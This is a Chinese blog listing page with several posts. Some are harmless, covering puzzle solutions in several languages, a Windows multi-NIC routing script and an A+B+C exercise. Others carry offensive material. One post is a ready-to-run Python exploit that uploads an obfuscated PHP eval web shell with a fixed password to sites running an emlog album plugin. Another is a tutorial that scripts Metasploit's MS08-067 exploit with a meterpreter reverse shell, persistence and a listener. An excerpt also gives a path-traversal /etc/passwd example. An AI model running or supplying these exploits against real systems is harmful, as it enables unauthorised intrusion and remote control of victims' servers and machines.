article cover

python使用requests库进行raw请求 技术文章

前言

在写漏洞利用 EXP 的某些场景下,比如路径穿越,URL 中带有 .././ 这类特殊的 URL path, requests 库的会将 url path 解析后再请求,比如一个url如下
/path/to/../../../../../../../../../../../../etc/passwd
解析后的实际请求url会变成 /etc/passwd,导...

标签: Python 技术

admin 发布于  2023-4-16 13:19 

算法学习之处-运用基本的逻辑与数学知识进行简单的循环遍历 代码人生

假设有这么一道数学题:

求第2333个能被2或者被3整除的正整数是…?

举例:(被2或者被3整除的正整数依次是:2,3,4,6,8,9,10,12,14,15,16,18…)

我们也可以使用最基本的数学方法来算:0.png

这个时候,数字比较大,用数学的方法就比较吃力费时了,当然,不排除你是个牛人。运算速度超常人,可以不用往下看了,渣渣 -_-|| 颤抖吧!

首先是来看看PHP版:

<?php 
function getResult($times){

        $i    =    0;
        $n    =    1;

        while(true){
            if(!($n%2) || !($n%3)){
                $i++;

                if($i == $times){
                    return $n;
                }
            }

            $n++;
        }
    }

    echo getResult(2333);
?>
然后看看Java版:

public class Main
    {
        public static void main(String[] args)
        {
            int cnt=0,num=1;
            while(true)
            {
                if(num%2==0||num%3==0)cnt++;
                if(cnt==2333)break;
                num++;
            }
            System.out.println(num);
        }
    }

Python版本:

[i for i in range(0,8000) if not(i%2 and i%3)][2333]
再看看C++:

//O(1)复杂度,不解释 
#include <iostream>
using namespace std;

bool Check(int m, int n){
    if(m%2 ==0 || m%3 == 0){
        return m/2 + m/3 - m/6 ==n;
    }
    return false;
}

int Get(int n){
    int top = (n-3)/4*6;
    while(!Check(top, n))//最多循环10次
        ++top;
    return top;
}

int main(){
    cout<<Get(2333)<<endl;
}

还有Go语言版本:

func main() {
    var x int
    c := 2333
    //c = x/2+ x/3-x/6==>x=2*c/3 + c%2
    x = 3*c/2 + c%2
    fmt.Println(x)
}
javascript版本:

var arr = [];
    var a = 0;
    while(arr.length < 2334) {
        a++;
        if (a % 3 == 0 || a % 2 == 0) {
            arr.push(a);
        }
    }
    console.log(arr[2332]);
php版本呢,我自己还写了个利用数组的方法:

把成立的结果放在数组里(把范围限制在4000以下,不然一直循环下去没完没了-_-|),key按照自增排列,最后foreach遍历,遍历到key值为2333是停止遍历并且把结果输出,但是这个方法貌似很不好,只是本人确实水平不好,正在学习中...哈哈下次再见。


admin 发布于  2016-4-22 11:53 

利用python脚本实现Windows网卡叠加 技术文章

以前经常在网上找网卡叠加的小软件,找过很多个,有的用不来有的没效果,偶尔找到一个能用的批处理,于是根据这个脚本自己用python写了一个修改路由表的方案,这样一来下次就不用在网上找来找去了,简单实用(水平有限,还请在座各位多多指教)。

wk_zps2ldlwesf.png

废话不多说直接贴代码,送给需要的人

#coding:utf-8

#调用库
import sys,os,re

#函数
def pro_continue():
    input("按Enter键退出")

def nic_count(x):
    if   x<2:
         print("网络叠加需要两块或两块以上网卡")
         exit()
    elif x>4:
         print("该程序最多支持叠加四块网卡")
         exit()

def add_routetables2(i,g):
    net_1=[1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,129,131,133,135,137,139,141,143,145,147,149,151,153,155,157,159,161,163,165,167,171,173,175,177,179,181,183,185,187,189,191,193,195,197,199,201,203,205,207,209,211,213,215,217,219,221,223]
    net_2=[2,4,6,8,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110,112,114,116,118,120,122,124,126,128,130,132,134,136,138,140,142,144,146,148,150,152,154,156,158,160,162,164,166,168,170,174,176,178,180,182,184,186,188,190,194,196,198,200,202,204,206,208,210,212,214,216,218,220,222]
    print("开始<span class='wp_keywordlink_affiliate'><a href="http://www.slll.info/archives/tag/%e8%b4%9f%e8%bd%bd%e5%9d%87%e8%a1%a1" title="View all posts in 负载均衡" target="_blank">负载均衡</a></span>")
    os.system("route delete 0.0.0.0")
    os.system("route add 0.0.0.0 mask 0.0.0.0 " + str(g[0]) + " metric 30 if " + str(i[0]))
    a=0
    for x in net_1:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[0]) +" metric 25 if " + str(i[0]))
    for x in net_2:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[1]) +" metric 25 if " + str(i[1]))
    print("双网卡叠加成功")

def add_routetables3(i,g):
    net_1=[1,4,7,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,73,76,79,82,85,88,91,94,97,100,103,106,109,112,115,118,121,124,130,133,136,139,142,145,148,151,154,157,160,163,166,175,178,181,184,187,190,193,196,199,202,205,208,211,214,217,220,223]
    net_2=[2,5,8,11,14,17,20,23,26,29,32,35,38,41,44,47,50,53,56,59,62,65,68,71,74,77,80,83,86,89,92,95,98,101,104,107,110,113,116,119,122,125,128,131,134,137,140,143,146,149,152,155,158,161,164,167,170,173,176,179,182,185,188,191,194,197,200,203,206,209,212,215,218,221]
    net_3=[3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57,60,63,66,69,72,75,78,81,84,87,90,93,96,99,102,105,108,111,114,117,120,123,126,129,132,135,138,141,144,147,150,153,156,159,162,165,168,171,174,177,180,183,186,189,195,198,201,204,207,210,213,216,219,222]
    print("开始<span class='wp_keywordlink_affiliate'><a href="http://www.slll.info/archives/tag/%e8%b4%9f%e8%bd%bd%e5%9d%87%e8%a1%a1" title="View all posts in 负载均衡" target="_blank">负载均衡</a></span>")
    os.system("route delete 0.0.0.0")
    os.system("route add 0.0.0.0 mask 0.0.0.0 " + str(g[0]) + " metric 30 if " + str(i[0]))
    a=0
    for x in net_1:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[0]) +" metric 25 if " + str(i[0]))
    for x in net_2:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[1]) +" metric 25 if " + str(i[1]))
    for x in net_3:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[2]) +" metric 25 if " + str(i[2]))
    print("三网卡叠加成功")

def add_routetables4(i,g):
    net_1=[1,5,9,13,17,21,25,29,33,37,41,45,49,53,57,61,65,69,73,77,81,85,89,93,97,101,105,109,113,117,121,125,129,133,137,141,145,149,153,157,161,165,173,177,181,185,189,193,197,201,205,209,213,217,221]
    net_2=[2,6,14,18,22,26,30,34,38,42,46,50,54,58,62,66,70,74,78,82,86,90,94,98,102,106,110,114,118,122,126,130,134,138,142,146,150,154,158,162,166,170,174,178,182,186,190,194,198,202,206,210,214,218,222]
    net_3=[3,7,11,15,19,23,27,31,35,39,43,47,51,55,59,63,67,71,75,79,83,87,91,95,99,103,107,111,115,119,123,131,135,139,143,147,151,155,159,163,167,171,175,179,183,187,191,195,199,203,207,211,215,219,223]
    net_4=[4,8,12,16,20,24,28,32,36,40,44,48,52,56,60,64,68,72,76,80,84,88,92,96,100,104,108,112,116,120,124,128,132,136,140,144,148,152,156,160,164,168,176,180,184,188,196,200,204,208,212,216,220]
    print("开始负载均衡")
    os.system("route delete 0.0.0.0")
    os.system("route add 0.0.0.0 mask 0.0.0.0 " + str(g[0]) + " metric 30 if " + str(i[0]))
    a=0
    for x in net_1:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[0]) +" metric 25 if " + str(i[0]))
    for x in net_2:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[1]) +" metric 25 if " + str(i[1]))
    for x in net_3:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[2]) +" metric 25 if " + str(i[2]))
    for x in net_4:
        os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[3]) +" metric 25 if " + str(i[3]))
    print("四网卡叠加成功")

def check_ip(ip_str):
    pattern = r"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"
    if re.match(pattern, ip_str):
        return True
    else:
        return False

#主程序
os.system("title 网卡叠加-www.slll.info&&color 18")
net_count=int(input("请输入网卡数量(MAX:4,Min:2): "))
nic_count(net_count)
arr_1=[]
arr_2=[]
for x in range(1,net_count+1):
    temp=input("请输入第"+str(x)+"块需要叠加的网卡索引号 (cmd下面利用该命令查看:route print | find \"...\"[第一列即索引号]): ")
    arr_1.append(temp)
    temp=input("请输入网卡(" +str(x)+") 的网关: ")
    while True:
        if check_ip(temp):
            arr_2.append(temp)
            break
        else:
            temp=input("输入错误,请重新输入网卡(" +str(x)+") 的网关: ")
if net_count==2:
    add_routetables2(arr_1,arr_2)
elif net_count==3:
    add_routetables3(arr_1,arr_2)
elif net_count==4:
    add_routetables4(arr_1,arr_2)
pro_continue()
注:此文并非博主原创,文章很有实用性,转载之,原文请移步:http://www.slll.info/archives/2153.html


admin 发布于  2016-3-28 09:21 

关于A+B+C问题三种语言的解决办法,Java、C语言、Python 代码人生

原题是这个样子的:

这是一个非常简单的题目,意在考察你编程的基础能力。千万别想难了哦。输入为一行,包括了用空格分隔的三个整数A、B、C(数据范围均在-40~40之间)。输出为一行,为“A+B+C”的计算结果。

样例1

输入:

22 1 3

输出:

26

由于我也是刚刚接触Python,所以代码有点长,希望有大神可以指出,帮助我改进,在此 感激不尽!下面就开始贴上我的代码吧,顺序分别是Java、C、Python

Java:

import java.util.Scanner;
class Main
{
   public static void main(String[] args)  
   {   
          int a,b,c;
         Scanner input=new Scanner(System.in);
        a=input.nextInt();
        b=input.nextInt();
        c=input.nextInt();
         if((a>=-40&&a<=40)&&(b>=-40&&b<=40)&&(c>=-40&&c<=40))
        System.out.println(a+b+c);
        else
        System.out.println("erro");
    }
}



C语言:

#include<stdio.h>
int main(void) {
    int a, b, c;
    scanf("%d%d%d", &a, &b, &c);
    if(a > 40 || a < -40 || b > 40 || b < -40 || c > 40 || c < -40)
        return 0;
    printf("%d", a+b+c);

    return 0;
}



Python:

lst = raw_input().split(' ')
sum = 0
for i in lst:
    sum = sum+int(i)
print sum


至于其他的语言,比如什么C++/Ruby,目前还不会。暂且略懂贴出来的这三种语言外加PHP。还希望高手多多指教。最近博主比较忙,也就是要学习Python了,所以,更新估计会慢,还请大家多多包含,多多支持!谢谢!



admin 发布于  2015-12-17 01:17 

emlog相册插件getshell exploit 渗透测试

emlog相册插件可直接getshell 这是python的exp

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# Date: 2015/4/30

# Created by:Mrxn

# 博客 https://mrxn.net/

import sys, os, re, time


try:

    import requests

except ImportError:

    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():

    # os.system(['clear', 'cls'][os.name == 'nt'])

    print '+' + '-' * 60 + '+'

    print '\t Python emlog相册插件getshell exploit'

    print '\t   Blog:https://mrxn.net/'

    print '\t\t Code BY: Mrxn'

    print '\t\t Time:2015-05-29'

    print '+' + '-' * 60 + '+'

    if len(sys.argv) != 2:

        print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'

        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.xxxxx.cn/'

        sys.exit()


def getshell(url):

    '''

    emlog相册插件上传getshell函数

    :param url:  emlog url地址

    :return:     返回得到的shell地址

    '''

    up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'

    shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"

    filename = "oneok'.php"

    with open(filename, 'wb') as shellok:

        shellok.write(shell)

    files = {

        'Filedata': (filename, open(filename, 'rb'), 'text/json'),

        'album': (None, 'waitalone.cn')

    }

    try:

        up_res = requests.post(up_url, files=files).content

        shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)

    except Exception, msg:

        print '\n[x] 发生错误了,卧槽!!!:', msg

    else:

        if shellok: return url + shellok[0]


if __name__ == '__main__':

    usage()

    start = time.time()

    url = sys.argv[1]

    if url[-1] != '/': url += '/'

    ok = getshell(url)

    try:

        os.remove('oneok\'.php')

    except Exception:

        print '\n[x] 删除临时文件失败,请手工删除!'

    if ok:

        print '\n[!] 爷,人品暴发了,成功得到Shell: \n%s 密码:%s' % (ok, 'hstsec')

    else:

        print '\n[x] 报告大爷,本站不存在此漏洞!'

    print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

想知道修复方法么,如果你是技术屌,应该知道了,如果不是呢,回复吧 O(∩_∩)O哈哈~


admin 发布于  2015-5-29 22:51 

用Python玩转神器Metasploit 神器荟萃

pymsf是著名安全研究团队Spiderlabs实现的一个Python与Metasploit msgrpc进行通信的python模块,通过它,你可以利用Python玩转渗透测试框架Metasploit。

使用步骤

首先你需要先启动msgrpc服务,命令如下:

load msgrpc Pass=<password>

与msgrpc进行通信其实就是与msfconsole进行通信,首先你需要创建一个msfrpc的类,登录到msgrpc服务器并且创建一个虚拟
的终端,然后你就可以在你创建的虚拟终端上面执行多个命令的字符串.你可以调用模块的方法与console.write执行命令,并且通
过"console.read"从虚拟终端上面读取输入的值.
这篇文章将演示如何使用pymsf模块并且如何开发出一个完整的脚本.

这里有一个函数它创建了一个msfrpc实例,登录到msgrpc服务器,并且创建了一个虚拟终端.

def sploiter(RHOST, LHOST, LPORT, session):     client = msfrpc.Msfrpc({})     client.login('msf', '123')     ress = client.call('console.create')     console_id = ress['id']

下一步就是实现把多个字符串发给虚拟终端,通过console.write和console.read在虚拟终端显示与读取:

## Exploit MS08-067 ## commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
""" print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands]) res = client.call('console.read',[console_id]) result = res['data'].split('\n')

上面的这一小段代码创建了一个MSF的资源文件,这样你就可以通过"resoucen
"命令去执行指定文件里面中一系列的命令。

下面我们将通过"getsystem"命令把这个文件的提权,建立一个后门打开80端口来转发.并且永久的运
行.最后上传我们的漏洞exp并且在命令模式下面悄悄的安装:

# 这个函数会创建一个MSF .rc文件 def builder(RHOST, LHOST, LPORT):      post = open('/tmp/smbpost.rc', 'w')      bat = open('/tmp/ms08067_install.bat', 'w')      postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""      batcomm = "ms08067_patch.exe /quiet"      post.write(postcomms); bat.write(batcomm)      post.close(); bat.close()

通过上面的那段代码,将会创建一个.rc的文件.通过msf模块“post/multi/gather/run_console_rc_file”在当前
的meterpreter会话中运行生成的文件,并且通过console.write命令从虚拟终端写入数据,通过console.read命令来回显返回内容:

## 运行生成的exp ## runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""      print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])      rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ##      sleep(10)      listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
""" print "[+] Setting up listener on: "+LHOST+":80" client.call('console.write',[console_id,listen]) lres = client.call('console.read',[console_id]) print lres

上面代码中的变量(RHOST, LHOST,
LPORT等)都是通过optparse模块从命令终端输入的,完整的脚本托管在github上面,有时候你需要知道脚本的生成的地方都是静态地址,不会
在其他的目录生成,例如ms08067的补丁就会在你的/tmp/目录下面。

大家只要知道基础然后对下面的代码进行一定的修改就可以编程一个属于你自己的
msf自动化攻击脚本,我们建议通过博客里面发表的一些简单的例子出发,然后自己写一个msf攻击脚本:

import os, msfrpc, optparse, sys, subprocess from time import sleep # Function to create the MSF .rc files def builder(RHOST, LHOST, LPORT):      post = open('/tmp/smbpost.rc', 'w')      bat = open('/tmp/ms08067_install.bat', 'w')      postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""      batcomm = "ms08067_patch.exe /quiet"      post.write(postcomms); bat.write(batcomm)      post.close(); bat.close() # Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch def sploiter(RHOST, LHOST, LPORT, session):      client = msfrpc.Msfrpc({})         client.login('msf', '123')         ress = client.call('console.create')         console_id = ress['id'] ## Exploit MS08-067 ##      commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""      print "[+] Exploiting MS08-067 on: "+RHOST
     client.call('console.write',[console_id,commands])      res = client.call('console.read',[console_id])      result = res['data'].split('\n') ## Run Post-exploit script ##      runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""      print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])      rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ##      sleep(10)      listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""      print "[+] Setting up listener on: "+LHOST+":80"      client.call('console.write',[console_id,listen])      lres = client.call('console.read',[console_id])      print lres def main():         parser = optparse.OptionParser(sys.argv[0] +\
        ' -p LPORT -r RHOST -l LHOST')         parser.add_option('-p', dest='LPORT', type='string', \
        help ='specify a port to listen on')         parser.add_option('-r', dest='RHOST', type='string', \
        help='Specify a remote host')         parser.add_option('-l', dest='LHOST', type='string', \
        help='Specify a local host')      parser.add_option('-s', dest='session', type='string', \
        help ='specify session ID')      (options, args) = parser.parse_args()      session=options.session
     RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT
     if (RHOST == None) and (LPORT == None) and (LHOST == None):                 print parser.usage  

                sys.exit(0)      builder(RHOST, LHOST, LPORT)      sploiter(RHOST, LHOST, LPORT, session) if __name__ == "__main__":       main()  

转自:FreeBuf


admin 发布于  2015-3-20 09:13